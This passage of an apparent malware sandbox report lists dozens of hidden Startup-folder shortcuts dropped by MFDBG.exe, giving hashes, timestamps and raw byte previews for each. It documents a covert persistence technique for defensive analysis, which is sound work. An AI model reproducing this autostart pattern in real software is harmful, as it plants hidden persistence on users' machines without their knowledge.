Preview:	L..................F...."...]W%.{...22..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...22..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0e72d32b1c9547178ca03ab39db7fa94.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935953592626745
Encrypted:	false
SSDEEP:	24:8thBfGI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8NuIT0R6rMhpBoUBxdRd1nYyg
MD5:	45BBE2274E0563F70C7897DA3963E18B
SHA1:	99DC65C3187B4C87DCF524E3A969C2B6569E539A
SHA-256:	EBD16AEB4616407567E2B1C9433F466F360C69E90D8F5834C44B46DBDDA70653
SHA-512:	821DFB40D07899CF5B1133D21F2374D25606ECE11C29A1E44D2693857952F425429595F82390013AF23A3F554D6782EF32B68C7EF0B1B07B0C31F123FD5D7D42
Malicious:	false
Preview:	L..................F...."...]W%.{....2..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...w...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0eacf4353c5a43a880e1c93aaad90750.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93620301615473
Encrypted:	false
SSDEEP:	24:8bhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8f+0R6rMhpBoUBxdRd1nYyg
MD5:	82D2261AEEFB5B6D4BDBD5CBE727A879
SHA1:	48EDC46E5F05AA5B46A9BDDEF18D608130EAA1C9
SHA-256:	9ED2B2A2B4E80D1598038243E5ACF13D3BB4FBA7409D949A480242B0345292DD
SHA-512:	7242767213203F46A2C9B6AA80E998BB1B0B60F40F74DFD902BD40E7E68DF6B27081A57C204627C81114F7CDE41C7C8BD8C8B52360FD75809D825F067C21A174
Malicious:	false
Preview:	L..................F...."...]W%.{....n..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0ede71712fe64dc98c32b448d166c5d5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936041579825081
Encrypted:	false
SSDEEP:	24:8thBfKP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8NC00R6rMhpBoUBxdRd1nYyg
MD5:	7FAD2BAAB31BAB31DBE90E62580BD1A0
SHA1:	A780300F021CF095998ECBC32FA07F00CFBABB8C
SHA-256:	7559C091960E969EE0E1A33D7316CA1927D16F79F6A51B4C082E69D4A208F5C7
SHA-512:	6A2364E0387E8C261AFB54D72D7ADC4B44CBB0B2B02C3EDB26E7878BD4C6260206FD4B293B09BBB9EEC77830693F438CB10E6121F292CB74F41B7B5D24CC0BBF
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...23..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f2a6fc45ad5481d924af185fb92a5ec.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938593647624409
Encrypted:	false
SSDEEP:	24:8b8hBfsA8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bOE10R6rMhpBoUBxdRd1nYyg
MD5:	EDF579F43F7311AD98EB2AC35E2177FB
SHA1:	5ACB032DCD56755B37BE9631FF94950D0E619CE2
SHA-256:	AF5DCBB151F622C49B6D4C8DE89D1F4959B2E23C1FA22925B6EE9E17355A92C6
SHA-512:	63D4D50FAAFD7357354155C89D9505D0B193EAF58FF033AB985A9E13C6F9CF7806C1FCA7C1AC63B90AE50D332447C808BA7C9ABF89C75375802CB6177AE1240E
Malicious:	false
Preview:	L..................F...."...]W%.{...=B..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f400e831312466eb0e729ac5b043e83.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9375336445947235
Encrypted:	false
SSDEEP:	24:8QhBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Cl0R6rMhpBoUBxdRd1nYyg
MD5:	0AF0330988D2F507968F0118C2B943B8
SHA1:	E48D0CB60682CCBC8EDC004910C828E5CF9AF756
SHA-256:	C57B9AD8428D842AF9227026EB0D8F267410F9A057E56A39FBA01EFE9AC06DDD
SHA-512:	215229B0F786C97707AB8D1D23C28D068110BD72A4DA0DA2B542F87144A9AB9D1A06FB8994D9DE5D91EFA5E3C2B7FBD4EA7BE1E3DE66D6A379D4C01FE4773A70
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0feb0ec6fd704a21939547332b66bae4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941526656908061
Encrypted:	false
SSDEEP:	24:87hBf+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/b0R6rMhpBoUBxdRd1nYyg
MD5:	9C355A84CD7EDA8D06F70F8C6FA25F17
SHA1:	5ECA26F3FF2BF4848CED5047A04D65517DDDEC94
SHA-256:	B98598F730A78B4CD1A1FAF1DB3EE6D0457DAE97D653320A5C50A5BABA1B7891
SHA-512:	ABDD6F3D0AC4314B64E40B28B14A9D40F8C74D53BA2A56AF7EB2775A83F95A53856FFB904C469EAE3E3E9C21B839D0AE9D4059B12C96D34A1E496AA83F9C3B66
Malicious:	false
Preview:	L..................F...."...]W%.{....[w.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....U.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_10449eafcfe74b0480ec13eccffe8c47.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9382748951892195
Encrypted:	false
SSDEEP:	24:868hBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Hm0R6rMhpBoUBxdRd1nYyg
MD5:	DD58C22FFB5C72733DC10A8E8A4A67CB
SHA1:	FA441EBF8C1B8669E46B8DC384A065022FD0E1E7
SHA-256:	F5A2E4B08F1A71C18E66ED35A6D459EB000FA6A8A5D0B1BD23942B935BB34A2B
SHA-512:	C01477E1E8BCEECBF93C50F0A5CAB235E5DA88023BDF690DC2BF86BC40E668AD4E0C09AEDC2CC0D5BA7D80213FED9A0EDB3ECE4A1398AF4B667F8E9734487394
Malicious:	false
Preview:	L..................F...."...]W%.{.....9.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1070428f48264e0c92337542f2cf8915.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931707056002575
Encrypted:	false
SSDEEP:	24:8ChBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8oG0R6rMhpBoUBxdRd1nYyg
MD5:	F2A3459989F38544679D9702690A9055
SHA1:	67591F2D3641D111A110AF3F44A53DDC66DA758D
SHA-256:	4646B27121563BB7137D8F32768CAF91CC5042683A580188AEBAF8C3DB645DF7
SHA-512:	63465D2E6D77194E628FCEE5B9F82CB713B865FC381FC0AEEC891C41C38E779068D9C80B99B03244032AA132741C2F643B2678BD056AB181F797A3C40F4EDFDC
Malicious:	false
Preview:	L..................F...."...]W%.{....8-.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....%..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_107544c703774267a35ba4333c496a70.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933309721600321
Encrypted:	false
SSDEEP:	24:8ShBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8YU0R6rMhpBoUBxdRd1nYyg
MD5:	DE0F03C436630C6237CA85B69E39EB62
SHA1:	B40964EEBAE26BD71D61EC38EE1E7BD11F1512C7
SHA-256:	961DAF7073EA195E59A57F9131508CCC8BE2A0BD47D9E291356DE69C7F886383
SHA-512:	1DDA60B6BE18D52461B03804E940658384FFFB17F90D18B4D0C81334F879D51CFF77BEC1A8B92017B03E9E08791132A2FE7AE26CA27EDE444D66A8C7C4530092
Malicious:	false
Preview:	L..................F...."...]W%.{...N..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_10c168a0461a444c9bb91025ddbfe081.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931422752921841
Encrypted:	false
SSDEEP:	24:8a+hBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8lud0R6rMhpBoUBxdRd1nYyg
MD5:	D6C60E511F79CB47FD3FF2FF664687F5
SHA1:	F0E43EAA621E18501134E6C49E5415FA1AE3D4F2
SHA-256:	8522E5BB062E33C771A2D2E79B503AD01901FB5040B2BE298B64CF1DCFEB345B
SHA-512:	1E4E8D32B7F3AD71C59FD73CA61CABF67DA44D087A9F1DCA8F495A1103015253672D232C95A82BA7BFCE885791114FDE15ACACABF062E1072953D196AB233D37
Malicious:	false
Preview:	L..................F...."...]W%.{..... .{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_10d2fa0ea6e14a7b920960f79c00b449.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9342973385177125
Encrypted:	false
SSDEEP:	24:8QhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CKI0R6rMhpBoUBxdRd1nYyg
MD5:	064110487FB8504DA4F3E4F1FBB6983D
SHA1:	41B022E24D52C1A754A953159F10D00E4BF0E046
SHA-256:	117794AF2118ADA87D2994A5653FB5088C1C058E8A18BCAF75BC475AC008F3C5
SHA-512:	7DAB0FCBAD8FC0262195C8E6228BEA187DCB5DCDCC5C9FD40AA80A5816E5AAAFD5358021E43CA876370771459949A804268C8C0346290E565AA1555A6252DABA
Malicious:	false
Preview:	L..................F...."...]W%.{.....M.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_10e87549ab8e46feb571e5659d57b947.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936889188675304
Encrypted:	false
SSDEEP:	24:86hBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wm0R6rMhpBoUBxdRd1nYyg
MD5:	04DDA4866CC65D3D593CD0EDCD667C3F
SHA1:	CB218547DB87E0A3F31A2C7E92A17F418E2714F3
SHA-256:	D36A6DFAE5E16CE758F1CB7359749B512D7C335D707E9A66E1778C45179E7D27
SHA-512:	E1464140A4D74913246FFE5C8ADEA3215D9293669D8BC083C2E75CB51A68CF7E73A92BBBDDA06EA6C063738E29F17324911392DE22364E6427D55666E41B1248
Malicious:	false
Preview:	L..................F...."...]W%.{.....D.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_111e8ac8ce304fc284b785cbe30ba5ca.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940443749360191
Encrypted:	false
SSDEEP:	24:8GhBfr48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MJ0R6rMhpBoUBxdRd1nYyg
MD5:	804C41C26630E274248374C5173B0E49
SHA1:	1E2FC51A0A7BE45D770F7E2D141852DF7158D55F
SHA-256:	E3178DE76C85D0D8BCC4A118715E73C2E03AC51D13DD43077DE67337186815FB
SHA-512:	C40FC3EBF88CECD12F6F1301BB853993C08697172BC4CB8FD640E7467A343CB589C115E8FEF5652325B098F2EE6EC583555A41F6D14CC316558B0C65ECC9B023
Malicious:	false
